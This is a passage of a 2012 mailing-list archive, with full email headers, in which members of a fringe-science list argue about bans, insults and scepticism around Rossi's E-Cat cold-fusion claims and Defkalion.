Mary Yugo had been posting for a while, and ruffled plenty of feathers.= Whether or not she was right isn't the point; plenty of comments by th= e pro-Rossi side were equally beyond the pale. Half the time it sounded lik= e a bunch of screaming babies. Maybe accusing Rossi of fraud is going to fa= r on Vortex. Ok. Calling someone a chickenshit, beating them about their se= x (who here can prove she is not a female?), and screaming "idiocy/idi= ot...nonsense!...your stupidity...etc" is sure as hell going to far as= well.

Now before you go any farther reading, let me say to those who did thes= e things, on both sides: grow up and be men. If you don't agree with so= mething, fine. Don't agree. Leave the insults for the sports parties, l= ocker rooms, or whatever floats your boat.

As for Joshua Cude, yes, as far as I know he isn't banned yet. I do= n't know how long that will last. But he's been a nice target for a= d hominems as well. I've talked to a few former Vortexians privately wh= o feel the same way; most of the vitriol (save from Eff) was coming from th= e believer side. I'm not going to post names, so you can believe me nor= not, doesn't matter. But if you choose not to, well, Jed's got a f= ew unnamed experts to sell you. Go talk to him. You see, this blade can cut= both ways.

I posted, if I remember correctly, one message in November asking quest= ions in regards to the Rossi affair. I got plenty of NASTY private response= s, and when Rich Murray posted a simple, cheerful "Hear! Hear!" i= n reply, another poster decided it would be nice to indicate that I was par= t of a group which took Mary Yugo to be our cheerleader, and NO ONE address= ed the points I made regarding the Rossi experiment itself. That in itself = speaks volumes: those who claim to support the science and want no part of = accusations, did the exact opposite!

But that's all past now. Bill acted, and it is his list, and so it = is done. I don't tend to think it is wrong, however, to speak my dissen= t. I would hope that the private message I sent him around Christmas, askin= g him to step in and stop the namecalling and vitriol didn't have anyth= ing to do with invoking this. If it did, I feel terrible.

Science without questioning is not science, it is belief. There are tho= se who are pro-Rossi, who are yet still scientists. Then there are those wh= o want to believe so bad, it becomes inevitable in their mind that it must = be so. 'Dissent is intolerable; we don't want to hear it. Leave us = in peace, form your own discussion group. Away, blasphemer.'

Exactly what the fringe science folks, of which I think I am still a pa= rt, always rallied against; the establishment says, never dissent. Never di= sagree, we know what is right. You fought against them, and rightly so. You= wanted science, and not belief.
And now, at the end, you have become what you hated most.

-Kyle


--20cf307ca00624d27704b74f7bbf-- From vortexb-l-request@eskimo.com Tue Jan 24 17:24:34 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0P1OSJx000662; Tue, 24 Jan 2012 17:24:32 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0P1OBWt000626; Tue, 24 Jan 2012 17:24:11 -0800 Resent-Date: Tue, 24 Jan 2012 17:24:11 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=subject:references:from:content-type:in-reply-to:message-id:date:to :content-transfer-encoding:mime-version:x-mailer; bh=hUchUvZQiBst0ehL5xhAQa2SnXszyLfr6Xh2Lx6+Nuk=; b=ZiJsEgmmFDabBPQ3ARZj88Da7JbD2U3MxQWFBIVJDsbqrAY0Y5PNCcUj6UouPxwu0M yOjeZpvgt7xqwfoW9dCFLHl7f3KasciVyjbC94Wtgzn0E44E1mb/atnMVE4hsMl74UNA KEYXm6Vw9DqVUAeV8S/yz5xi4lVDTu3pF8YzI= Subject: Re: [VoB]:test References: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> From: Charles Hope Content-Type: text/plain; charset=utf-8 In-Reply-To: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> Message-Id: Date: Tue, 24 Jan 2012 20:18:30 -0500 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) X-Mailer: iPhone Mail (9A405) Resent-Message-ID: <0qavmD.A.oJ.7m1HPB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4502 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 743 Looks like I picked a heck of a fortnight to drift away from Vortex. =E2=80=9C= Eff Wivakeef=E2=80=9D? I can't even figure out what that spoofs.=20 I'm sick to death of the Rossi/Defkalion circus. I'll be back to discuss CF t= heory after I bone up on some QM.=20 On Jan 24, 2012, at 18:56, Kyle Mcallister wrote= : > Eff Wivakeef From vortexb-l-request@eskimo.com Wed Jan 25 07:54:35 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0PFsRcl003547; Wed, 25 Jan 2012 07:54:27 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0PFsHjq003508; Wed, 25 Jan 2012 07:54:17 -0800 Resent-Date: Wed, 25 Jan 2012 07:54:17 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 25 Jan 2012 07:50:44 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-ID: <20120125155044.GA5352@shell.resist.ca> Reply-To: grok@resist.ca References: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: F/A-18 C/D Hornet, Paul Kagame, Seasparrow Consortium, Al Hawijah, Civilian Armed Forces Geographical Unit User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4503 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 744 As the smoke cleared, Charles Hope mounted the barricade and roared out: > Looks like I picked a heck of a fortnight to drift away from Vortex. “Eff Wivakeefâ€� I can't even figure out what that spoofs. > > I'm sick to death of the Rossi/Defkalion circus. I'll be back to discuss CF theory after I bone up on some QM. > > > > On Jan 24, 2012, at 18:56, Kyle Mcallister wrote: > > > Eff Wivakeef Loox like I missed nothing since I was banned. Especially Mary Yugo. ;) -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Jan 27 16:58:45 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0S0wgVP014140; Fri, 27 Jan 2012 16:58:42 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0S0wPEC014090; Fri, 27 Jan 2012 16:58:25 -0800 Resent-Date: Fri, 27 Jan 2012 16:58:25 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=highsurf.com; h=Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding:X-Mailer:Thread-Index:Content-Language:X-Source:X-Source-Args:X-Source-Dir; b=DGIkdzyg8D8eMECEtdpkB5Jng2all9IXIop7AVPTqU7IlRlyzkZnTqvzXtXyr+MazaWUfmrRXg9CHa64TJUnEmyRQtIcBBIOnNgC8HhK4itwjnrcCUINAvUPeOM4i8sW; From: "Rick Monteverde" To: References: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> In-Reply-To: <1327449412.88846.YahooMailClassic@web160601.mail.bf1.yahoo.com> Subject: RE: [VoB]:test Date: Fri, 27 Jan 2012 14:54:54 -1000 Message-ID: <07e001ccdd57$75f670c0$61e35240$@com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acza8/wy2djxGP6LSSCdcowiy9HpmACYZgsA Content-Language: en-us X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cx08.justhost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: <-wXQcB.A.AcD.xg0IPB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4504 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 745 But Kyle, I thought you were a big fringie like us! - R. -----Original Message----- From: Kyle Mcallister [mailto:kyle_mcallister@yahoo.com] Sent: Tuesday, January 24, 2012 1:57 PM To: vortexb-l@eskimo.com Subject: RE: [VoB]:test --- On Tue, 1/24/12, Jeff Fink wrote: > > What happened on vortex-l? > > Jeff It rather depends on who you ask. I will again preface this to say, I do not know if Rossi has something or not. It would be nice if it turns out he does. >From my point of view, all hell basically let loose over the past few days. For a while, ad hominems (banned, see below) were being thrown around like candy, on BOTH SIDES, and if anyone likes to deny that, go to the archives, read them, and cry. It's there in black and white plain text. Then this guy Eff Wivakeef showed up and had a bone to pick with Greg Watson, who it seems probably was Aussie E-cat Guy. Greg was the old SMOT guy from back in the good old days of Freenrg-L before it basically died, and a lot of people got excited over this gadget. It came to nothing, a lot of money was taken, etc. But that's beside the point. Eff Wivakeef went beyond the pale with some of the stuff he started posting. I couldn't even call it a personal crusade, it was pretty wild. Plenty of vulgarity thrown in for good measure. He got killfiled by plenty, and this I think was a warranted killfiling, rather than what in other cases may be termed something very different. When he showed up, things started to get bad. Mary Yugo had been posting for a while, and ruffled plenty of feathers. Whether or not she was right isn't the point; plenty of comments by the pro-Rossi side were equally beyond the pale. Half the time it sounded like a bunch of screaming babies. Maybe accusing Rossi of fraud is going to far on Vortex. Ok. Calling someone a chickenshit, beating them about their sex (who here can prove she is not a female?), and screaming "idiocy/idiot...nonsense!...your stupidity...etc" is sure as hell going to far as well. Now before you go any farther reading, let me say to those who did these things, on both sides: grow up and be men. If you don't agree with something, fine. Don't agree. Leave the insults for the sports parties, locker rooms, or whatever floats your boat. As for Joshua Cude, yes, as far as I know he isn't banned yet. I don't know how long that will last. But he's been a nice target for ad hominems as well. I've talked to a few former Vortexians privately who feel the same way; most of the vitriol (save from Eff) was coming from the believer side. I'm not going to post names, so you can believe me nor not, doesn't matter. But if you choose not to, well, Jed's got a few unnamed experts to sell you. Go talk to him. You see, this blade can cut both ways. I posted, if I remember correctly, one message in November asking questions in regards to the Rossi affair. I got plenty of NASTY private responses, and when Rich Murray posted a simple, cheerful "Hear! Hear!" in reply, another poster decided it would be nice to indicate that I was part of a group which took Mary Yugo to be our cheerleader, and NO ONE addressed the points I made regarding the Rossi experiment itself. That in itself speaks volumes: those who claim to support the science and want no part of accusations, did the exact opposite! But that's all past now. Bill acted, and it is his list, and so it is done. I don't tend to think it is wrong, however, to speak my dissent. I would hope that the private message I sent him around Christmas, asking him to step in and stop the namecalling and vitriol didn't have anything to do with invoking this. If it did, I feel terrible. Science without questioning is not science, it is belief. There are those who are pro-Rossi, who are yet still scientists. Then there are those who want to believe so bad, it becomes inevitable in their mind that it must be so. 'Dissent is intolerable; we don't want to hear it. Leave us in peace, form your own discussion group. Away, blasphemer.' Exactly what the fringe science folks, of which I think I am still a part, always rallied against; the establishment says, never dissent. Never disagree, we know what is right. You fought against them, and rightly so. You wanted science, and not belief. And now, at the end, you have become what you hated most. -Kyle From vortexb-l-request@eskimo.com Fri Jan 27 19:08:48 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0S38iJc012254; Fri, 27 Jan 2012 19:08:44 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0S38gPE012247; Fri, 27 Jan 2012 19:08:42 -0800 Resent-Date: Fri, 27 Jan 2012 19:08:42 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 726070.63840.bm@omp1031.mail.bf1.yahoo.com DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1327719906; bh=dREdb1x8JIHwsVgKumnzAKJl3GK0ZMRLVUEYeHJBPY0=; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=mYCA3y84IFBAfvZBzZtucaVyFs1jdHQG6c6mf1NYMXblgT47Y/tuM+sNEKS4r7YnfWMfUirK4NCNCcPOgV8f/XF2WzvUSiG62LBttwcXVWbTxvh45Me+ezKjiEXH9Jj81Y6k5ypZXXncr4gkzVw3fTMKrdKuf5Pcki55VWTqJ+g= DomainKey-Signature:a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Mailer:Message-ID:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=3ald+3lEQVMsWB+dDLLKqYKVdyWI74R47I7hE9OOqv5AUrXb5MhQYJftnc/sZwrPShEBKgHXNgUnNnf/KmqgDoa9lJbe27phFzhlArX+ktQfOHUX9Zou0usC703S4qw/VRuzjA6c/V5HASPlrr3fmVLicicJdjTg89+KnZd6Wgg=; X-YMail-OSG: 8sYNA0wVM1lBFMhGf.DZ79AKzjCbbOHfzBUtiYpM_GwNXYA Loz3QcQl7cZYgUtGAEVY3kSz2ID4MTXGyI.slT77cymqQh2QbQ84Gxwa8L2M 21YatBy3VGxz3pA7T3X7YISRofs4ZzoJYtkdiLGLyxIx0bshDBMfaF181nVX IA7jk3PHXFziGuu.wMQSHI3oOmXf7O9poWLpdQgo1tPznXzpxOsgbYhFBu0X Q_.7957awuGaxzWreFI.tDRa_8fybNck2DnLMFs1D55mmvNu7We5KX9yDzd6 xN4HdqoOjrr_sF9kYCwfwEeVLakl5WM4R7zI8iLLSR1tZbQg3WLXm3Gcn8lY RFjGkFIpWNdFNLJe5l6U.LKsgUrQJj1NtWY5dPW7lghjaFmIsvZ31J1p4Wje T5NeF2yzFyBiQ4Fyxf0nTz0vJMYFCyjPMq6a5uvzrdYKmFSqikrUMwJSuQRf 2CNO4dfRxHWosRQnkQnWnpWa3g2QrVBaERRwivWaVh7.nJVwkN79BWEiZOg- - X-Mailer: YahooMailClassic/15.0.4 YahooMailWebService/0.8.116.331537 Message-ID: <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> Date: Fri, 27 Jan 2012 19:05:06 -0800 (PST) From: Kyle Mcallister Subject: RE: [VoB]:test To: vortexb-l@eskimo.com In-Reply-To: <07e001ccdd57$75f670c0$61e35240$@com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4505 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 746 --- On Fri, 1/27/12, Rick Monteverde wrote: > From: Rick Monteverde > Subject: RE: [VoB]:test > To: vortexb-l@eskimo.com > Date: Friday, January 27, 2012, 6:54 PM > But Kyle, I thought you were a big > fringie like us! > > - R. Hey Rick, long time since we spoke. How are you? Yep, still a fringie, but if there's one thing I've learned in experimenting with this sort of thing, it is to make certain I'm not fooling myself. Or being fooled. Testability is the key in my book to doing this sort of science. If we just 'believe', then we can allow ourselves to get to the point that we'll forget to "cast out artifacts" that may conventionally explain what is going on. I don't know if Rossi: 1. Is so believing that he is deluding himself. This would be tragic, and I would feel very sorry for him. 2. Is relying on the belief effect to con others knowingly. If so, he's a damned scoundrel. 3. Has really got something. So while I'm definitely all for the fringe research, and love doing it myself, I think there is such a thing as healthy skepticism. But that seems taboo on Vortex-L prime now, and ad hominems by certain strongly believing parties are completely kosher, despite what the rules apparently say. It seems to be, as I posted back in October or November, "All Vortexians are equal, but some are more equal than others." But what's done is done. I damned myself to the purgatory of Vortex-B a long time ago. Not banned, but... well, judging from the personal emails, I think some might prefer it that way. So we'll call it a self imposed judgement. :) Done anything new on the experimental front? I remember that capacitor charging effect you spoke of years back, and I did a little on it myself. I think that was on Freenrg-L. Fun times back in the day. --Kyle From vortexb-l-request@eskimo.com Sat Jan 28 07:42:08 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q0SFg4Jn023369; Sat, 28 Jan 2012 07:42:04 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q0SFfp6c023194; Sat, 28 Jan 2012 07:41:51 -0800 Resent-Date: Sat, 28 Jan 2012 07:41:51 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 28 Jan 2012 07:38:08 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-ID: <20120128153807.GA7319@shell.resist.ca> Reply-To: grok@resist.ca References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: GBU-67/B Qadr, Planet-1, SORT, 1RAR, tekka User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4506 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 747 Maybe you people should be concentrating more on Defkalion now. -- grok. As the smoke cleared, Kyle Mcallister mounted the barricade and roared out: > --- On Fri, 1/27/12, Rick Monteverde wrote: > > > From: Rick Monteverde > > Subject: RE: [VoB]:test > > To: vortexb-l@eskimo.com > > Date: Friday, January 27, 2012, 6:54 PM > > But Kyle, I thought you were a big > > fringie like us! > > > > - R. > > Hey Rick, long time since we spoke. How are you? > > Yep, still a fringie, but if there's one thing I've learned in experimenting with this sort of thing, it is to make certain I'm not fooling myself. Or being fooled. Testability is the key in my book to doing this sort of science. If we just 'believe', then we can allow ourselves to get to the point that we'll forget to "cast out artifacts" that may conventionally explain what is going on. I don't know if Rossi: > > 1. Is so believing that he is deluding himself. This would be tragic, and I would feel very sorry for him. > 2. Is relying on the belief effect to con others knowingly. If so, he's a damned scoundrel. > 3. Has really got something. > > So while I'm definitely all for the fringe research, and love doing it myself, I think there is such a thing as healthy skepticism. But that seems taboo on Vortex-L prime now, and ad hominems by certain strongly believing parties are completely kosher, despite what the rules apparently say. It seems to be, as I posted back in October or November, "All Vortexians are equal, but some are more equal than others." > > But what's done is done. I damned myself to the purgatory of Vortex-B a long time ago. Not banned, but... well, judging from the personal emails, I think some might prefer it that way. So we'll call it a self imposed judgement. :) > > Done anything new on the experimental front? I remember that capacitor charging effect you spoke of years back, and I did a little on it myself. I think that was on Freenrg-L. Fun times back in the day. > > --Kyle > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Sat Jan 28 08:54:14 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0SGsBMA030182; Sat, 28 Jan 2012 08:54:11 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0SGs97p030169; Sat, 28 Jan 2012 08:54:09 -0800 Resent-Date: Sat, 28 Jan 2012 08:54:09 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Yahoo-Newman-Id: 623494.84252.bm@omp1013.access.mail.mud.yahoo.com DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=pacbell.net; h=DKIM-Signature:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding:X-Mailer:Thread-Index:Content-Language; b=C/kHv6PMqWpq2GULr6cupLvHagxONM6+FL5AGBirkcsM46fTUJ6+Zw1gTZuRiy7hWu19t5OJdwdO7AZ4TMKdxt6QgAyrh10M+6uzvMy8wIot8VuXfoQs+GACXDk/ldHACKMJM+EHZRUvJodm41zdaYDE/5YkkR/ES5DhCxsBsL4= ; DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=pacbell.net; s=s1024; t=1327769440; bh=w4O/a1/NkZHAuxD5F4vX9zyrPBgG3Q9yRb0iFQcwqiA=; h=X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding:X-Mailer:Thread-Index:Content-Language; b=OoKLYTEK24qjsqY6894zQXPZGd/b9iJmF0ip+KQaFXivMrtYgNA3mF+N0O4k6jjeYHhtVmKkHCumzvXTBAAMrSIhawGZUlJ70EYwhXiNEr0ofkvRWn/Pubmfm5AIdQFSzg4M3O+LaYFgbD5Lezzinxh9F2QLv8/+KNLTxQa3iSc= X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: gGXvxasVM1lbQABfONZGPruokl2O7RYnTih_hnI.6C5vn9q Gw0WB68qCRwchZ7y9dvFUd0ZpfmjcLv1YCixfMPTG3yEij10myJ0Qi_3gEx0 9PaNRjKgXzfDRnRgmyFvLL_HZXmOFSVHqKXCsyj7DH4xS5GllwijDYzm9Ipw zK8MzohjkGNdx_jQ6N9W4O.5H8IuhrMFdUin9ksfYaaDcR401.xzZ0OBNuuK FCfV9TQXgMB3QyxG86jKiLikswB3tasUWmf.m2miz4Pm8ZLXs0AeIJvEc1pk VwOYSug0_laxGmC9CkDVRFT58TxS3eh90DwaxcHMy2zqrxUJv.qb8gI4bhyz 4a0pB5L79gKXhQj5tXipH7ZxXLD31VpnyYFhDZqqeaVeYEbG8B9nmTgqnyNa JTnYE4IPiQBt6PPJMxH9Fcx.6hwC.n.DV_VGRAjN7mdSx5HbQIZ9aAW8SH17 aCzMeNWmwnRvRZM_TfQ-- X-Yahoo-SMTP: .3J3WRyswBABGgh9xYTCZbFSkxPU4sdLQgTBpC0FhIo- From: "Jones Beene" To: References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> In-Reply-To: <20120128153807.GA7319@shell.resist.ca> Subject: RE: [VoB]:test Date: Sat, 28 Jan 2012 08:50:31 -0800 Message-ID: <094601ccdddc$f278d310$d76a7930$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Aczd0vKa3nVgD86tTOG0FAyXOuPxpAAB2aWQ Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4507 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 748 In a rare moment of lucidity and scientific focus, grok mounts the = barracks, waves his me-too flag and proclaims (to the astonishment of = all): "Maybe you people should be concentrating more on Defkalion now." ... uh, duh! From vortexb-l-request@eskimo.com Sat Jan 28 08:57:50 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0SGvmUc031094; Sat, 28 Jan 2012 08:57:48 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0SGvlLb031085; Sat, 28 Jan 2012 08:57:47 -0800 Resent-Date: Sat, 28 Jan 2012 08:57:47 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=JYQIUidRAECiNa+jsiaNMIhYElg3H2WoMKCJIGO75f4= c=1 sm=1 a=yUnIBFQkZM0A:10 a=IkcTkHD0fZMA:10 a=t+194oyOKel6p+o+czWDVA==:17 a=YarKIx00AAAA:8 a=yTIk75XiAAAA:8 a=KwoNNkTJdpzQ4J7Dp78A:9 a=QEXdDO2ut3YA:10 a=q03wWUK6tb4A:10 a=8PGfyiCYVrkA:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> In-Reply-To: <094601ccdddc$f278d310$d76a7930$@net> Subject: RE: [VoB]:test Date: Sat, 28 Jan 2012 08:54:19 -0800 Message-ID: <00ac01ccdddd$7a785880$6f690980$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Aczd0vKa3nVgD86tTOG0FAyXOuPxpAAB2aWQAAC2ciA= Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4508 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 749 As Holmes once said (sarcastically) to Watson, "How scintillating an = observation..." -----Original Message----- From: Jones Beene [mailto:jonesb9@pacbell.net]=20 Sent: Saturday, January 28, 2012 8:51 AM To: vortexb-l@eskimo.com Subject: RE: [VoB]:test In a rare moment of lucidity and scientific focus, grok mounts the = barracks, waves his me-too flag and proclaims (to the astonishment of = all): "Maybe you people should be concentrating more on Defkalion now." ... uh, duh! From vortexb-l-request@eskimo.com Sat Jan 28 10:09:57 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q0SI9tir019347; Sat, 28 Jan 2012 10:09:55 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q0SI9jXi019315; Sat, 28 Jan 2012 10:09:45 -0800 Resent-Date: Sat, 28 Jan 2012 10:09:45 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 28 Jan 2012 10:06:05 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Message-ID: <20120128180604.GA30850@shell.resist.ca> Reply-To: grok@resist.ca References: <07e001ccdd57$75f670c0$61e35240$@com> <1327719906.29988.YahooMailClassic@web160606.mail.bf1.yahoo.com> <20120128153807.GA7319@shell.resist.ca> <094601ccdddc$f278d310$d76a7930$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <094601ccdddc$f278d310$d76a7930$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Pashtunistan, U Tapao, Nebula, FROG-7, Sudan User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4509 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 750 As the smoke cleared, Jones Beene mounted the barricade and roared out: > In a rare moment of lucidity and scientific focus, grok mounts the > barracks, waves his me-too flag and proclaims (to the astonishment > of all): > > "Maybe you people should be concentrating more on Defkalion now." > > > ... uh, duh! Am I supposed to chuckle here, or just rant and scream? Your signals are 